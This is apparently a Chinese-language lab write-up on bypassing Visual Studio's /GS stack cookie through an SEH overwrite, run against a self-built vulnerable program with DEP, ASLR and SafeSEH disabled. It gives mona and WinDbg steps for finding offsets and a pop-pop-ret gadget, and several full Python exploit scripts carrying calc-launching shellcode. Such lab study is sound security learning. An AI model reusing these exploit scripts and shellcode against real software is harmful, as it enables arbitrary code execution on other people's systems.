当程序开启GS
保护时,我们无法再通过栈溢出覆盖返回地址的方式,来控制执行流。但还有一些其他的方式,比如劫持SEH
。
参考链接:
环境准备
Visual Studio配置
关闭DEP
:
链接器DEP
(/NXCOMPAT:NO
):配置属性—>链接器—>高级—>数据执行保护(DEP)
操作系统DEP
(如果开着记得关了):WIN10下:设置—系统—关于—高级系统设置—性能-设置—数据执行保护—选中“DEP(T)”
关闭随机基址(/DYNAMICBASE:NO
) :配置属性—>链接器—>高级—>数据执行保护(DEP)
关闭/SDL
检查(/sdl-
):配置属性—>C/C++—>常规—>SDL检查)
关闭 /SAFESEH
:配置属性—>链接器—>高级—>映像具有安全异常处理程序(/SAFESEH:NO)
开启安全检查(/GS
) : 配置属性—>C/C++—>代码生成—>安全检查
开始实验 重复实验 重复Exploitme 中的实验(先确认关闭/GS
时,可成功运行,然后打开/GS
)
漏洞程序(选择预留栈空间的版本,详情见Exploitme——解决栈空间不足 ):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 #include <cstdio> _declspec(noinline) int old_main () { char name[32 ]; printf ("Reading name from file...\n" ); FILE* f = fopen("D:\\Users\\czx\\NativeFiles\\Desktop\\tmp\\name.dat" , "rb" ); if (!f) return -1 ; fseek(f, 0L , SEEK_END); long bytes = ftell(f); fseek(f, 0L , SEEK_SET); fread(name, 1 , bytes, f); name[bytes] = '\0' ; fclose(f); printf ("Hi, %s!\n" , name); return 0 ; } #pragma optimize( "" , off ) int main () { char moreStack[100 ]; for (int i = 0 ; i < sizeof (moreStack); ++i) moreStack[i] = i; return old_main(); }
windbg
下mona
搜索jmp esp
1 2 3 .load pykd !py mona j -r esp -m "ntdll" # 虽然Exploitme模块关闭了ASLR,但它里面没有符合要求的指令。我们还是得用默认开启了ASLR的系统模块,且每次重启电脑都要重新寻找。
1 0x7755ce33 | 0x7755ce33 (b+0x0010ce33) : call esp
exp.py
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 with open ('D:\\Users\\czx\\NativeFiles\\Desktop\\tmp\\name.dat' , 'wb' ) as f: ret_eip = b'\x33\xce\x55\x77' shellcode = (b"\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02" + b"\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa" + b"\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8" + b"\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02" + b"\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45" + b"\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6" + b"\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c" + b"\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0" + b"\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53" + b"\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45" + b"\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2" + b"\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b" + b"\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff" + b"\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0" + b"\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75" + b"\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d" + b"\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c" + b"\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24" + b"\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04" + b"\x30\x03\xc6\xeb\xdd" ) name = b'a' *32 + b'b' *4 + ret_eip + shellcode f.write(name)
visual studio
下以release
模式调试程序,报错如下:
windbg
下运行,结果如下:
上面的报错信息是数组超出边界报错,和我们预想的通过cookie
检测到栈溢出不同,下面分析原因。
分析汇编 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 00401040 push ebp 00401041 mov ebp,esp 00401043 sub esp,24h 00401046 mov eax,dword ptr [__security_cookie (0403004h)] // 读取0x0403004处存放的security_cookie,一个随机值 0040104B xor eax,ebp // cookie = security_cookie ^ ebp 0040104D mov dword ptr [ebp-4],eax // 存储 cookie,供函数返回前进行检查 00401050 push edi 4: char name[32]; 5: printf("Reading name from file...\n"); 6: 7: FILE* f = fopen("D:\\Users\\czx\\NativeFiles\\Desktop\\tmp\\name.dat", "rb"); 8: if (!f) 9: return -1; 10: fseek(f, 0L, SEEK_END); 11: long bytes = ftell(f); 12: fseek(f, 0L, SEEK_SET); 13: fread(name, 1, bytes, f); 14: name[bytes] = '\0'; 004010B7 cmp ebx,20h // 数组边界检查 004010BA jae old_main+0ABh (04010EBh) 004010BC push edi 004010BD mov byte ptr name[ebx],0 15: fclose(f); 16: 17: printf("Hi, %s!\n", name); 18: return 0; 004010D6 mov ecx,dword ptr [ebp-4] 004010D9 add esp,0Ch 004010DC xor ecx,ebp 004010DE xor eax,eax 004010E0 pop ebx 004010E1 pop edi 004010E2 call __security_check_cookie (0401147h) // 检查 cookie 是否被破坏 004010E7 mov esp,ebp 004010E9 pop ebp 004010EA ret 14: name[bytes] = '\0'; 004010EB call __report_rangecheckfailure (0401277h) 004010F0 int 3
绕过数组边界检查 在开启 /GS 后,执行数组赋值语句 name[bytes]='\0'
( mov byte ptr name[ebx],0
) 前,会进行数组边界检查,如果下标超出边界,会直接报错退出程序。
1 2 3 4 004010B7 cmp ebx,20h 004010BA jae old_main+0ABh (04010EBh) // 报错,并退出程序 004010BC push edi 004010BD mov byte ptr name[ebx],0
我们可以将 name[bytes]='\0'
替换为以下语句,以避免进行数组边界检查
重新在Release
模式下调试程序,报错信息如下:
windbg
下运行,结果如下:
确认是通过cookie检测到溢出,符合预期。
栈内存布局 在将 cookie 放入栈后,栈中数据的布局如下:
1 2 3 4 5 6 7 8 9 10 11 12 esp -> name[0..3] name[4..7] . . . name[28..31] ebp-4 -> cookie ebp -> save_ebp ret_eip . . .
ret_eip在cookie的下面,因此我们无法在不破坏 cookie 的前提下,覆写 ret_rip,而一旦破坏了 cookie,程序将在执行 ret 之前退出。
原来的栈溢出思路不起作用,现在需要新的方法。
SEH绕过cookie
SEH
存储在栈中,可以被覆盖
当fread
向栈中读入大量字符时,可能超出栈底,导致异常,进而调用已被覆盖的SEH
函数
我们实在函数内制造异常进而执行SEH
函数,所以即便破坏了cookie
也没关系,程序流根本走不到检查cookie
那一步。
当name.data
中有 3000 个‘a’时,在windbg下执行程序,使用!exchain
命令可以看到SEH
已被覆盖。
1 2 3 0:000> !exchain 0019ff60: 61616161 Invalid exception stack at 61616161
确定seh偏移量 使用mona
生成 3000 个字符,并拷贝至“name.dat
“文件
1 2 .load pykd !py mona pc 3000
windbg下运行程序,出现两部分报错信息,第一部分是fread
超出了栈底,第二部分是执行SEH
但指令地址31684130
无效:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 (4e94.4b34): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=0064dbb8 ebx=fffffffe ecx=00000a48 edx=00000bb7 esi=0064d170 edi=001a0000 eip=7713fc8e esp=0019fd98 ebp=0019fdbc iopl=0 nv up ei pl nz na po cy cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010203 ucrtbase!memcpy+0x4e: 7713fc8e f3a4 rep movs byte ptr es:[edi],byte ptr [esi] 0:000> g (4e94.4b34): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000000 ebx=00000000 ecx=31684130 edx=774d8ad0 esi=00000000 edi=00000000 eip=31684130 esp=0019f768 ebp=0019f788 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 31684130 ?? ???
使用mona po
命令,确定SEH
所在位置的偏移量为212
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 0:000> .load pykd 0:000> !py mona po 31684130 ** You are running pykd.pyd v0.3.4.15. Use at your own risk ** Hold on... [+] Command used: !py D:\Program Files (x86)\Windbg\x86\mona.py po 31684130 Looking for 0Ah1 in pattern of 500000 bytes - Pattern 0Ah1 (0x31684130) found in cyclic pattern at position 212 Looking for 0Ah1 in pattern of 500000 bytes Looking for 1hA0 in pattern of 500000 bytes - Pattern 1hA0 not found in cyclic pattern (uppercase) Looking for 0Ah1 in pattern of 500000 bytes Looking for 1hA0 in pattern of 500000 bytes - Pattern 1hA0 not found in cyclic pattern (lowercase) [+] This mona.py action took 0:00:00.191000
编写shellcode 错误思路 首先想到的一种思路是:
1 payload = nop * (212-4) + jmp_6 + jmp_esp(SEH) + shellcode
执行流为
1 触发异常->执行SEH(jmp esp),跳转至栈顶执行->从栈顶开始一串nop滑轨->执行jmp 6,跳过SEH,跳转到shellcode->执行shellcode
经过分析,上面这种思路是不可行的,上面我们假设栈顶是nop
指令,但实际上,我们填充nop
指令是从 name 处开始的,而在调用SEH
时,在栈顶和 name 之间有新的数据。
1 2 3 4 esp -> ... 其它数据 ... name[0...3] nop ... nop
也就是说,我们不能将执行流转到栈顶。
不可行思路 当执行seh时,esp的值与shellcode所在地址分别如下:
1 2 esp : 0x0019f768 shellcode: 0x0019ff68
它们之间的差恒为 0x800 ,如果使得SEH指向以下gadget,便能劫持执行流至shellcode:
但这样的gadget
很难找。
正确思路 查看栈顶附近的数据,可以发现esp+8
位置的数据,和SEH
和shellcode
所在地址距离很近,可以加以利用。
也就是说,如果:
1 SEH = jmp esp+8 或 ret esp+8 或 call esp+8 或 pop xx#pop xx#ret(ppt指令)
程序执行流在执行完SEH
后,会去执行 SEH
地址的前面四个字节,我们可以在这里写入jmp 6
,从而劫持执行流至shellcode
。
mona搜索ppt指令
Exploitme2
中的指令高字节都是0x00,不过程序中使用的是fread
,不会将payload
截断。
Exploitme2
没开启随机基址,系统重启后,指令依然有效。
1 !py mona findwild -s "pop r32#pop r32#ret" -m Exploitme
得到以下结果,我们选用0x00401a11
:
1 2 3 4 [+] Results : 0x00401a11 | 0x00401a11 : pop esi # pop ebx # retn | startnull,ascii {PAGE_EXECUTE_READ} [Exploitme.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0- (Exploitme.exe), 0x8000 ... Found a total of 8 pointers
测试exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 with open ('D:\\Users\\czx\\NativeFiles\\Desktop\\tmp\\name.dat' , 'wb' ) as f: shellcode = (b"\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02" + b"\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa" + b"\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8" + b"\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02" + b"\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45" + b"\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6" + b"\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c" + b"\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0" + b"\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53" + b"\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45" + b"\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2" + b"\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b" + b"\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff" + b"\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0" + b"\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75" + b"\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d" + b"\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c" + b"\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24" + b"\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04" + b"\x30\x03\xc6\xeb\xdd" ) jmp_6 = b'\xeb\x06' seh = b'\x11\x1a\x40\x00' payload = b'a' *(212 -4 ) + jmp_6 + b'a' *2 + seh + shellcode + b"a" *3000 f.write(payload)
windbg
下运行,结果如图:
seh
所在位置与栈底之间的距离,虽然可以装得下shellcode
,但满足不了shellcode
执行过程中所需。
最终exp 我们可以把 shellcode
放到靠前(距离栈底较远的位置),然后跳转过去。
我们的shellcode
长度为 309。因此我们需要修改一下程序源码,以保证栈空间足够存放shellcode
。
Exploitme.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 #include <cstdio> _declspec(noinline) int old_main () { char name[32 ]; printf ("Reading name from file...\n" ); FILE* f = fopen("D:\\Users\\czx\\NativeFiles\\Desktop\\tmp\\name.dat" , "rb" ); if (!f) return -1 ; fseek(f, 0L , SEEK_END); long bytes = ftell(f); fseek(f, 0L , SEEK_SET); fread(name, 1 , bytes, f); *(name+bytes) = '\0' ; fclose(f); printf ("Hi, %s!\n" , name); return 0 ; } #pragma optimize( "" , off ) int main () { char moreStack[1000 ]; for (int i = 0 ; i < sizeof (moreStack); ++i) moreStack[i] = i; return old_main(); }
exp.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 with open ('D:\\Users\\czx\\NativeFiles\\Desktop\\tmp\\name.dat' , 'wb' ) as f: shellcode = (b"\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02" + b"\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa" + b"\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8" + b"\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02" + b"\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45" + b"\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6" + b"\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c" + b"\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0" + b"\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53" + b"\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45" + b"\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2" + b"\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b" + b"\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff" + b"\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0" + b"\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75" + b"\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d" + b"\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c" + b"\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24" + b"\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04" + b"\x30\x03\xc6\xeb\xdd" ) offset = 1112 jmp_6 = b'\xeb\x06' + b'a' *2 jmp_real_shellcode = b"\xE9\x9F\xFB\xFF\xFF" seh = b'\x11\x1a\x40\x00' payload = shellcode + b'a' *(offset-len (shellcode)-4 ) + jmp_6 + seh + jmp_real_shellcode payload += b'a' *(3000 -len (payload)) f.write(payload)
执行流为:
再次运行,成功弹出计算器:
总结 栈空间不足分为两种情况
不够shellcode存在
不够shellcode执行所需
fread无法一下子读取太长的数据,不然会出错
要么限制payload长度,通常不能超过8k
要么修改读取逻辑,进行分块多次读取
将
1 fread(name, 1 , bytes, f);
更改为
1 2 3 4 5 6 int pos = 0 ;while (pos < bytes) { int len = bytes - pos > 200 ? 200 : bytes - pos; fread(name + pos, 1 , len, f); pos += len; }